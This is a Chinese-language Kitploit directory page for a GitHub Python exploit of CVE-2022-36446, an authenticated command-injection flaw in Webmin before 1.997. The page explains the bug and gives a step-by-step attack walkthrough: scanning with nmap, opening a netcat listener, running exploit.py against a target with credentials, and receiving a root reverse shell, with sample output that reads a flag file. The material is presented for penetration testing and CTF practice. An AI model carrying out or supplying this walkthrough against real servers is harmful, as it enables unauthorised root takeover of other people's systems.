Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-36446-Webmin-RCE — 用于Webmin 1.996的Python脚本 | Kitploit
工具/GitHubGitHub/darnabin/cve-2022-36446-webmin-rce
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制
GitHubdarnabin/cve-2022-36446-webmin-rce

CVE-2022-36446-Webmin-RCE

用于Webmin 1.996的Python脚本

查看仓库
1个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-36446 — Webmin < 1.997 RCE (已认证)

用于利用 Webmin 1.997 之前版本中通过 Software Package Updates 模块存在的远程代码执行漏洞的 Exploit。

工作原理?

Webmin 的 Software Package Updates 模块在将 u 参数传递给系统之前未能正确进行清理。拥有该模块访问权限的已认证用户可以注入任意命令,这些命令将以 root 身份执行。


前提条件

在运行 Exploit 之前安装依赖项:

root@kitploit:~
pip3 install requests beautifulsoup4 lxml urllib3

参数

参数描述示例
-t目标 URL(不带端口)https://192.168.1.10
-uWebmin 用户名admin
-pWebmin 密码password123
-l你的 IP(用于接收 shell)192.168.1.5
-lp监听端口4444

逐步操作

1 — 使用 Nmap 识别目标 IP:

root@kitploit:~
nmap -sV TARGET_IP
# 查找 Webmin 的 10000 端口

2 — 在你的机器上打开监听器:

root@kitploit:~
nc -lvnp 4444

3 — 在另一个终端中运行 Exploit:

root@kitploit:~
python3 exploit.py \
  -t https://TARGET_IP \
  -u admin \
  -p PASSWORD \
  -l TU_IP \
  -lp 4444

4 — 如果 Exploit 成功,你将看到:

5 — 在监听器中你将收到一个 root 身份的 Shell:

root@kitploit:~
# whoami
root
# cat /root/Desktop/FLAG.txt
FLAG{...}

完整示例

root@kitploit:~
# 终端 1
nc -lvnp 4444

# 终端 2
python3 exploit.py -t https://192.168.253.156 -u admin -p 'W3bm1n2024' -l 192.168.253.130 -lp 4444

参考

  • CVE: CVE-2022-36446
  • CVSS 评分: 9.9 (严重)
  • 受影响版本: Webmin < 1.997
  • 原始 Exploit: https://www.exploit-db.com/exploits/50998
  • 原作者: Emir Polat
下载工具